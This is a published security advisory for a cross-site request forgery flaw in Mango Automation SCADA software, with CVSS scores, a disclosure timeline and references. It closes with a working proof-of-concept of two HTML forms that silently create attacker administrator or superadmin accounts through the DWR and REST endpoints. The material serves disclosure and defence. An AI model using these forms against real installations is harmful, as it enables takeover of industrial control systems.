CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
AI Score
Confidence
High
EPSS
Percentile
46.6%
Title: Mango Automation 2.6.0 CSRF Add Admin Exploit
Advisory ID: ZSL-2015-5258
Type: Local/Remote
Impact: Cross-Site Scripting
Risk: (3/5)
Release Date: 26.09.2015
Mango Automation is a flexible SCADA, HMI And Automation software application that allows you to view, log, graph, animate, alarm, and report on data from sensors, equipment, PLCs, databases, webpages, etc. It is easy, affordable, and open source.
The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.
Infinite Automation Systems Inc. - <http://www.infiniteautomation.com>
2.5.2 and 2.6.0 beta (build 327)
Microsoft Windows 7 Professional SP1 (EN) 32/64bit
Microsoft Windows 7 Ultimate SP1 (EN) 32/64bit
Jetty(9.2.2.v20140723)
Java™ SE Runtime Environment (build 1.8.0_51-b16)
Java HotSpot™ Client VM (build 25.51-b03, mixed mode)
[20.08.2015] Vulnerability discovered.
[25.08.2015] Vendor contacted.
[25.08.2015] Vendor responds giving support e-mail to send details to.
[25.08.2015] Details sent to the support contact.
[27.08.2015] Asked vendor for status update.
[12.09.2015] No reply from the vendor.
[13.09.2015] Asked vendor for status update.
[25.09.2015] No reply from the vendor.
[26.09.2015] Public security advisory released.
[20.10.2015] Vendor releases version 2.6.0 build 430 to address these issues.
Vulnerability discovered by Gjoko Krstic - <[email protected]>
[1] <https://www.exploit-db.com/exploits/38338/>
[2] <https://packetstormsecurity.com/files/133731>
[3] <https://exchange.xforce.ibmcloud.com/vulnerabilities/106858>
[4] <http://infiniteautomation.com/forum/topic/1995/mango-security-testing>
[5] <http://infiniteautomation.com/index.php/what-s-new/entry/what-s-new-in-mango-automation-2-6-0-released-october-20th-2016>
[6] <http://infiniteautomation.com/forum/topic/1997/mango-automation-2-6-released>
[7] <https://ics-cert.us-cert.gov/advisories/ICSA-15-300-02A>
[8] <https://vulners.com/cve/CVE-2015-6493>
[9] <https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-6493>
[10] <http://www.nsfocus.net/vulndb/31400>
[11] <http://chemical-facility-security-news.blogspot.com/2015/10/ics-cert-publishes-three-advisories.html>
[26.09.2015] - Initial release
[07.10.2015] - Added reference [1], [2] and [3]
[21.10.2015] - Added vendor status and reference [4], [5] and [6]
[29.10.2015] - Added reference [7], [8], [9], [10] and [11]
Zero Science Lab
Web: <http://www.zeroscience.mk>
e-mail: [email protected]
<html><body><p>Mango Automation 2.6.0 CSRF Add Admin Exploit
Vendor: Infinite Automation Systems Inc.
Product web page: http://www.infiniteautomation.com/
Affected version: 2.5.2 and 2.6.0 beta (build 327)
Summary: Mango Automation is a flexible SCADA, HMI
And Automation software application that allows you
to view, log, graph, animate, alarm, and report on
data from sensors, equipment, PLCs, databases, webpages,
etc. It is easy, affordable, and open source.
Desc: The application allows users to perform certain
actions via HTTP requests without performing any validity
checks to verify the requests. This can be exploited
to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.
Tested on: Microsoft Windows 7 Professional SP1 (EN) 32/64bit
Microsoft Windows 7 Ultimate SP1 (EN) 32/64bit
Jetty(9.2.2.v20140723)
Java(TM) SE Runtime Environment (build 1.8.0_51-b16)
Java HotSpot(TM) Client VM (build 25.51-b03, mixed mode)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2015-5258
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5258.php
20.08.2015
--
2.5.2:
<!-- user hacker, pass 123123 -->
</p>
<form action="http://localhost:8080/dwr/call/plaincall/UsersDwr.saveUserAdmin.dwr" enctype="text/plain" method="POST">
<input name="callCount" type="hidden" value="1
page=/users.shtm
httpSessionId=
scriptSessionId=8BD64066486071219EB8691611D48F14109
c0-scriptName=UsersDwr
c0-methodName=saveUserAdmin
c0-id=0
c0-param0=number:-1
c0-param1=string:hacker
c0-param2=string:123123
c0-param3=string:hacker%40hacker.hack
c0-param4=string:111222333
c0-param5=boolean:true
c0-param6=boolean:false
c0-param7=string:0
c0-param8=boolean:false
c0-param9=string:
c0-param10=Array:[]
c0-param11=Array:[]
batchId=5
"/>
<input type="submit" value="Submit request 1"/>
</form>
2.6.0 beta (build 327):
<!-- user hacker3, pass admin (in sha1(base64) hash value) -->
<form action="http://localhost:8080/rest/v1/users.json" enctype="text/plain" method="POST">
<input name='{"username":"hacker3","password":"0DPiKuNIrrVmD8IUCuw1hQxNqZc' type="hidden" value='","email":"[email protected]","phone":"111222333","muted":true,"disabled":false,"homeUrl":"http://www.zeroscience.mk","receiveAlarmEmails":"NONE","receiveOwnAuditEvents":false,"timezone":"","permissions":"user,superadmin"}'/>
<input type="submit" value="Submit request 2"/>
</form>
</body></html>